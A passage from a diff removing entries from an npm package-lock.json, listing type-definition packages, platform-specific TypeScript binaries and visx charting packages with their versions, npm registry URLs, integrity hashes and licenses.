"sha512-X5XaVWZIBCT7HHZGm5I7ZQXDwLG+bGXuSrMQAW+7Zvl87h1kmc1ZB1VSRJcpUfoUrGQp4Fkoxm5kZ+Ms+aW+eA==", - "license": "MIT", - "engines": { - "node": ">= 20.19.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/@types/bcryptjs": { - "version": "2.4.6", - "resolved": "https://registry.npmjs.org/@types/bcryptjs/-/bcryptjs-2.4.6.tgz", - "integrity": "sha512-9xlo6R2qDs5uixm0bcIqCeMCE6HiQsIyel9KQySStiyqNl2tnj2mP3DX1Nf56MD6KMenNNlBBsy3LJ7gUEQPXQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/body-parser": { - "version": "1.19.6", - "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz", - "integrity": "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/connect": "*", - "@types/node": "*" - } - }, - "node_modules/@types/chai": { - "version": "5.2.3", - "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", - "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/deep-eql": "*", - "assertion-error": "^2.0.1" - } - }, - "node_modules/@types/connect": { - "version": "3.4.38", - "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz", - "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/cookie-parser": { - "version": "1.4.10", - "resolved": "https://registry.npmjs.org/@types/cookie-parser/-/cookie-parser-1.4.10.tgz", - "integrity": "sha512-B4xqkqfZ8Wek+rCOeRxsjMS9OgvzebEzzLYw7NHYuvzb7IdxOkI0ZHGgeEBX4PUM7QGVvNSK60T3OvWj3YfBRg==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "@types/express": "*" - } - }, - "node_modules/@types/cookiejar": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@types/cookiejar/-/cookiejar-2.1.5.tgz", - "integrity": "sha512-he+DHOWReW0nghN24E1WUqM0efK4kI9oTqDm6XmK8ZPe2djZ90BSNdGnIyCLzCPw7/pogPlGbzI2wHGGmi4O/Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/cors": { - "version": "2.8.19", - "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.19.tgz", - "integrity": "sha512-mFNylyeyqN93lfe/9CSxOGREz8cpzAhH+E93xJ4xWQf62V8sQ/24reV2nyzUWM6H6Xji+GGHpkbLe7pVoUEskg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/d3-array": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.0.3.tgz", - "integrity": "sha512-Reoy+pKnvsksN0lQUlcH6dOGjRZ/3WRwXR//m+/8lt1BXeI4xyaUZoqULNjyXXRuh0Mj4LNpkCvhUpQlY3X5xQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-color": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.0.tgz", - "integrity": "sha512-HKuicPHJuvPgCD+np6Se9MQvS6OCbJmOjGvylzMJRlDwUXjKTTXs6Pwgk79O09Vj/ho3u1ofXnhFOaEWWPrlwA==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-delaunay": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/@types/d3-delaunay/-/d3-delaunay-6.0.1.tgz", - "integrity": "sha512-tLxQ2sfT0p6sxdG75c6f/ekqxjyYR0+LwPrsO1mbC9YDBzPJhs2HbJJRrn8Ez1DBoHRo2yx7YEATI+8V1nGMnQ==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-format": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@types/d3-format/-/d3-format-3.0.1.tgz", - "integrity": "sha512-5KY70ifCCzorkLuIkDe0Z9YTf9RR2CjBX1iaJG+rgM/cPP+sO+q9YdQ9WdhQcgPj1EQiJ2/0+yUkkziTG6Lubg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-geo": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@types/d3-geo/-/d3-geo-3.1.0.tgz", - "integrity": "sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/geojson": "*" - } - }, - "node_modules/@types/d3-interpolate": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.1.tgz", - "integrity": "sha512-jx5leotSeac3jr0RePOH1KdR9rISG91QIE4Q2PYTu4OymLTZfA3SrnURSLzKH48HmXVUru50b8nje4E79oQSQw==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/d3-color": "*" - } - }, - "node_modules/@types/d3-path": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", - "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-scale": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.2.tgz", - "integrity": "sha512-Yk4htunhPAwN0XGlIwArRomOjdoBFXC3+kCxK2Ubg7I9shQlVSJy/pG/Ht5ASN+gdMIalpk8TJ5xV74jFsetLA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/d3-time": "*" - } - }, - "node_modules/@types/d3-shape": { - "version": "3.1.7", - "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.7.tgz", - "integrity": "sha512-VLvUQ33C+3J+8p+Daf+nYSOsjB4GXp19/S/aGo60m9h1v6XaxjiT82lKVWJCfzhtuZ3yD7i/TPeC/fuKLLOSmg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/d3-path": "*" - } - }, - "node_modules/@types/d3-time": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.0.tgz", - "integrity": "sha512-sZLCdHvBUcNby1cB6Fd3ZBrABbjz3v1Vm90nysCQ6Vt7vd6e/h9Lt7SiJUoEX0l4Dzc7P5llKyhqSi1ycSf1Hg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/d3-time-format": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@types/d3-time-format/-/d3-time-format-2.1.0.tgz", - "integrity": "sha512-/myT3I7EwlukNOX2xVdMzb8FRgNzRMpsZddwst9Ld/VFe6LyJyRp0s32l/V9XoUzk+Gqu56F/oGk6507+8BxrA==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/deep-eql": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", - "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/estree": { - "version": "1.0.9", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", - "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/express": { - "version": "5.0.6", - "resolved": "https://registry.npmjs.org/@types/express/-/express-5.0.6.tgz", - "integrity": "sha512-sKYVuV7Sv9fbPIt/442koC7+IIwK5olP1KWeD88e/idgoJqDm3JV/YUiPwkoKK92ylff2MGxSz1CSjsXelx0YA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/body-parser": "*", - "@types/express-serve-static-core": "^5.0.0", - "@types/serve-static": "^2" - } - }, - "node_modules/@types/express-serve-static-core": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-5.1.3.tgz", - "integrity": "sha512-dPfW8NFiOF4wOHc7+N/QSxlY9cfSsenewGbAz8C8U/MULPd/YZ27LvJUIlzaXie7e6Ove9YunJGgC9tbHD2cKw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*", - "@types/qs": "*", - "@types/range-parser": "*", - "@types/send": "*" - } - }, - "node_modules/@types/geojson": { - "version": "7946.0.16", - "resolved": "https://registry.npmjs.org/@types/geojson/-/geojson-7946.0.16.tgz", - "integrity": "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/http-errors": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz", - "integrity": "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/jsonwebtoken": { - "version": "9.0.10", - "resolved": "https://registry.npmjs.org/@types/jsonwebtoken/-/jsonwebtoken-9.0.10.tgz", - "integrity": "sha512-asx5hIG9Qmf/1oStypjanR7iKTv0gXQ1Ov/jfrX6kS/EO0OFni8orbmGCn0672NHR3kXHwpAwR+B368ZGN/2rA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/ms": "*", - "@types/node": "*" - } - }, - "node_modules/@types/lodash": { - "version": "4.17.26", - "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.26.tgz", - "integrity": "sha512-48NWfiY6oNcKOh47Z4h+sIvwcQR91h6KPhaYKgeMIrkT2jV82Gy90SErj60vW8jQbeMSOSbhIv3bZ7JoqPPVhA==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@types/methods": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/@types/methods/-/methods-1.1.4.tgz", - "integrity": "sha512-ymXWVrDiCxTBE3+RIrrP533E70eA+9qu7zdWoHuOmGujkYtzf4HQF96b8nwHLqhuf4ykX61IGRIB38CC6/sImQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/ms": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", - "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/node": { - "version": "26.5.1", - "resolved": "https://registry.npmjs.org/@types/node/-/node-26.5.1.tgz", - "integrity": "sha512-CzNm2FezW4VR/LjG6yUdiEgLE/rAQ9Slj5gCu/C2VrdcW7I0ahNZ8DRbHT7zOZ6r3ONgd/bsQIeSaoDGrd1C6g==", - "license": "MIT", - "dependencies": { - "undici-types": "~8.9.0" - } - }, - "node_modules/@types/pg": { - "version": "8.23.1", - "resolved": "https://registry.npmjs.org/@types/pg/-/pg-8.23.1.tgz", - "integrity": "sha512-fKVHpikPdg4GKks3JuLEhvwSyvwzF23hnabPy6DD8ljVbC7+6J5dQzdv4arV6jqq57djnMgs1HKBxX4P8aBI3A==", - "license": "MIT", - "dependencies": { - "@types/node": "*", - "pg-protocol": "*", - "pg-types": "^2.2.0" - } - }, - "node_modules/@types/qs": { - "version": "6.15.1", - "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.15.1.tgz", - "integrity": "sha512-GZHUBZR9hckSUhrxmp1nG6NwdpM9fCunJwyThLW1X3AyHgd9IlHb6VANpQQqDr2o/qQp6McZ3y/IA2rVzKzSbw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/range-parser": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz", - "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/react": { - "version": "19.3.0", - "resolved": "https://registry.npmjs.org/@types/react/-/react-19.3.0.tgz", - "integrity": "sha512-N0rFCuH9YoxG9/m61l9MfpJKfmLOVU0em7ipIz6TRgSSkvReLB9vL85GB+yr8Bs5leqpvg96JSwF4ZS1s4viQg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "csstype": "^3.2.2" - } - }, - "node_modules/@types/send": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz", - "integrity": "sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/node": "*" - } - }, - "node_modules/@types/serve-static": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-2.2.0.tgz", - "integrity": "sha512-8mam4H1NHLtu7nmtalF7eyBH14QyOASmcxHhSfEoRyr0nP/YdoesEtU+uSRvMe96TW/HPTtkoKqQLl53N7UXMQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/http-errors": "*", - "@types/node": "*" - } - }, - "node_modules/@types/superagent": { - "version": "8.1.11", - "resolved": "https://registry.npmjs.org/@types/superagent/-/superagent-8.1.11.tgz", - "integrity": "sha512-KA7srSW/HENDtOw9DOqaFLgWuMqN9WgjEw62lh9dpvRaZDkhdOkazASd7X7i2eMUYLHa1U37ZttnePsH5zTDHw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/cookiejar": "^2.1.5", - "@types/methods": "^1.1.4", - "@types/node": "*", - "form-data": "^4.0.0" - } - }, - "node_modules/@types/supertest": { - "version": "7.2.1", - "resolved": "https://registry.npmjs.org/@types/supertest/-/supertest-7.2.1.tgz", - "integrity": "sha512-4CbBvoYVLHL7+yhbYrZET0vsvuyXTC05aRe7dNQkwMzm56auceoy6Yu3K50uZmwfHna1os3CMSgM/3QVkUtPTw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@types/methods": "^1.1.4", - "@types/superagent": "^8.1.0" - } - }, - "node_modules/@typescript/typescript-aix-ppc64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-aix-ppc64/-/typescript-aix-ppc64-7.0.2.tgz", - "integrity": "sha512-MTKKkWB7p/0E9xi1d1tHtZ5PiLkGEMIq88pK2CubZjOsLtYTLqhgIgi6zepFa+9GHZ6h05NMCkQxGKiPXMxXtQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-darwin-arm64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-darwin-arm64/-/typescript-darwin-arm64-7.0.2.tgz", - "integrity": "sha512-gowzar9MwS/aRWp6f3a4KUqzRjAZjOsmGNCM6LcTgXum+dBfgsBVMN+AgvOCCbguXyick6LJhpBszxMebJ8syA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-darwin-x64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-darwin-x64/-/typescript-darwin-x64-7.0.2.tgz", - "integrity": "sha512-SZ9xZInqApNlNGc9s0W1VSsktYSOe9cFqNOIqmN1Gs8SmkjKZYFt017G4VwPxASInODuAdbTW7sXiFUf893RgA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-freebsd-arm64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-freebsd-arm64/-/typescript-freebsd-arm64-7.0.2.tgz", - "integrity": "sha512-W5NH4y/J0plIIS5b2xvTEkU7JFxyqdMAOgf+Ilhl0vHQXKO5dZoxd+C/jEtq56c4F3wk71RB4BMRQ2XdI+bwYQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-freebsd-x64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-freebsd-x64/-/typescript-freebsd-x64-7.0.2.tgz", - "integrity": "sha512-UMGDx5sTpzNw3WiPebH7l90IWfJggEd+egHt/q6p7/Cm3zqoV7VxkGXt+3DxPIw8CcmvAB0j3sVVfbhX+M4Tpw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-linux-arm": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-arm/-/typescript-linux-arm-7.0.2.tgz", - "integrity": "sha512-gffT3xPz9sR7j/YJExkyPntrI0P2EP9XbOyWzth2/Gs0RstK+90RBcO0ncXoXy/beYll1SXw846Nf2zdnEz0QQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-linux-arm64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-arm64/-/typescript-linux-arm64-7.0.2.tgz", - "integrity": "sha512-Qh4eU4/y3yDjnfjjyPYihMj5/ODIlmt+Bzu17OI+fiSRDW57QmU5SiN63exPRNJPKUzcc1INa1NXdrJ+MqHjUQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-linux-loong64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-loong64/-/typescript-linux-loong64-7.0.2.tgz", - "integrity": "sha512-uEHck9i8hoAzXPiYRib1O7miOnz23SxIeVl6F4LXox+qov1K35jHcEW6VHKvZI+pyvl7fZEP4MCU5LYvIq1GuQ==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-linux-mips64el": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-mips64el/-/typescript-linux-mips64el-7.0.2.tgz", - "integrity": "sha512-R4KvAMnE43W5Qeqb0Ly56O3mWMWIAgsMyz36DCaycd5nbg/9kzm0liw3JocfRqyJY0KPmzFjbswozXyW0DnIYA==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-linux-ppc64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-ppc64/-/typescript-linux-ppc64-7.0.2.tgz", - "integrity": "sha512-DORx5b3sd/4S7eayxm4FQv+A7CrkUIGRaHiwI8oiHTAI1fAPWhF4J0vAlkC8biAlHSVVwxMQ3tjZ2/DVbnQiiA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-linux-riscv64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-riscv64/-/typescript-linux-riscv64-7.0.2.tgz", - "integrity": "sha512-wf0jqEDOjrPRnKwYRyyJDRo11KMbvMFrU+q4zqKyChODBzvlkbhNQfKvLxQCcwTpdDaXSHZTVuh0JoCrKCUMHQ==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-linux-s390x": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-s390x/-/typescript-linux-s390x-7.0.2.tgz", - "integrity": "sha512-IkwJc3L7yhytWd/ewjyxNDfOmswCm9GWMJT/ue/dU4aZNbwZeYAetq42VyLmsmSjvoX7z74X6ZaYCtzAr0EuGw==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-linux-x64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-linux-x64/-/typescript-linux-x64-7.0.2.tgz", - "integrity": "sha512-EYdf2cNg7rgCWJnxCdJ+F3V39O8ihb37eHAu1LK8oAFizgTQbPOK7zHHXbPt8rX24COqODXeI3sIf0fCXG7H/A==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-netbsd-arm64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-netbsd-arm64/-/typescript-netbsd-arm64-7.0.2.tgz", - "integrity": "sha512-+polYF4MF04aPpO5FTkHran9yUQDSXqy5GiSDKpsll5jy3l3+g9QLhpf39T+ePtefhXLOGrLl0QIjkQP6VnelA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-netbsd-x64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-netbsd-x64/-/typescript-netbsd-x64-7.0.2.tgz", - "integrity": "sha512-8YIT0EHM/3dq10ZOVF/A7pc/YSMtbcecct4rWtexrnSCHOPcpC2KTLXfTCR6vDpnSiY12heNb1GiN/wu+T/FyA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-openbsd-arm64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-openbsd-arm64/-/typescript-openbsd-arm64-7.0.2.tgz", - "integrity": "sha512-APT8+ClYnuYm1u9+kgGXoMj2VzWzcymwh2gNSQVySHfkRDGOTVkoWLjCmOQSaO+PoqQ57B0flRp9SA+7GnnkzQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-openbsd-x64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-openbsd-x64/-/typescript-openbsd-x64-7.0.2.tgz", - "integrity": "sha512-yX7s+Q0Dln0Dt9tEzZsAjXXR/+ytBM7AlglaqyeMPxQszJ1JhlJdZ6jLA+IzldHtflX81em7lDao1xXu+aRRkg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-sunos-x64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-sunos-x64/-/typescript-sunos-x64-7.0.2.tgz", - "integrity": "sha512-dLJDGaLZ1D4HPQn62u1n8mBDkJREwMsAkCdkwd4Ieqw+x3TUyTsqY0YiBCtE6H6OzzgGk3iuZ3vFWRS+E8/d1g==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-win32-arm64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-win32-arm64/-/typescript-win32-arm64-7.0.2.tgz", - "integrity": "sha512-Gyl1Vy6OsWesLzmq+EP0Fb7b4Nid5232AvcA2SFcdYreldpNtYFFofPjnt62y9hQy7VTaZp65ICJjuAQRaVcIQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@typescript/typescript-win32-x64": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@typescript/typescript-win32-x64/-/typescript-win32-x64-7.0.2.tgz", - "integrity": "sha512-0BQ3HkAHHlKLSp1qRvf3SUhGpGsDuhB/jgFw75guyqbxJqEaS0Cw/VFO8i2nHglJUzQCRtMMR/IBAKE3ETMC4g==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=16.20.0" - } - }, - "node_modules/@visx/curve": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/curve/-/curve-4.0.1-alpha.0.tgz", - "integrity": "sha512-jRu61Uz274pV1zyioXmboyrLutYbnKsgjj4njSGCnhdXj5GkZvZbg+ThDb6oOzoAnJOBRLz4rzPlWvNJOzuVMg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@visx/vendor": "4.0.0-alpha.0" - } - }, - "node_modules/@visx/event": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/event/-/event-4.0.1-alpha.0.tgz", - "integrity": "sha512-EQqCMSv/s8NbFjo+hz3FKsvvYfP+2QslsFJ/24/O5l/W+7UC6J6aAvO0ujVwrTwdYbuQ+vhxKi1xdPdKR/qj1g==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/react": "*", - "@visx/point": "4.0.1-alpha.0" - } - }, - "node_modules/@visx/grid": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/grid/-/grid-4.0.1-alpha.0.tgz", - "integrity": "sha512-rycutGmTHO+znNdPumheWMglm7YfpffvRwUkVy5zy4WoORIuKTMkDxwnOzHG2xMxU3EE/YCd37xFV5AxA30yeg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/react": "*", - "@visx/curve": "4.0.1-alpha.0", - "@visx/group": "4.0.1-alpha.0", - "@visx/point": "4.0.1-alpha.0", - "@visx/scale": "4.0.1-alpha.0", - "@visx/shape": "4.0.1-alpha.0", - "classnames": "^2.3.1" - }, - "peerDependencies": { - "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" - } - }, - "node_modules/@visx/group": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/group/-/group-4.0.1-alpha.0.tgz", - "integrity": "sha512-V19l7iQ7jccBv8kao/EByuI6o4xtxzzLV9nqVI1hRvmdzTVsuLpqlwzYCZUXJaTVvUWf8s4D2SQFjGkj/Nw+0w==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/react": "*", - "classnames": "^2.3.1" - }, - "peerDependencies": { - "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" - } - }, - "node_modules/@visx/point": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/point/-/point-4.0.1-alpha.0.tgz", - "integrity": "sha512-ijTfr/Nx09f03vIj9nyTr3z4Xth4Y75427UaogJh6dnIRLMEFHQOwNu791sbfiNj0a+ZXuaE32h0vKrFe4/8Qg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@visx/responsive": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/responsive/-/responsive-4.0.1-alpha.0.tgz", - "integrity": "sha512-o+1zGywQZY0+yOx3Iw87wc4bbPJRr/HnIukTwfOz4UVyj9pB1OQNVHB7OORO1+LBHJceWpB31co/ZV9KHncKrA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@types/lodash": "^4.17.13", - "@types/react": "*", - "lodash": "^4.17.21" - }, - "peerDependencies": { - "react": "^16.14.0 || ^17.0.0-0 || ^18.0.0-0 || ^19.0.0-0" - } - }, - "node_modules/@visx/scale": { - "version": "4.0.1-alpha.0", - "resolved": "https://registry.npmjs.org/@visx/scale/-/scale-4.0.1-alpha.0.tgz", - "integrity": "sha512-nzjeE87vFSAXGWFiiNfBpNLAf0Q8Qmf6syvKLjqNi4kGZkdhbUll3E/59YsgWXmjM8+llPLWzGsP+JPvo5eq1A==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@visx/vendor": "4.0.0-alpha.0" - } - }, - "node_modules/@visx/shape": { - "version": "4.0.1-alpha.0", - "resolved": 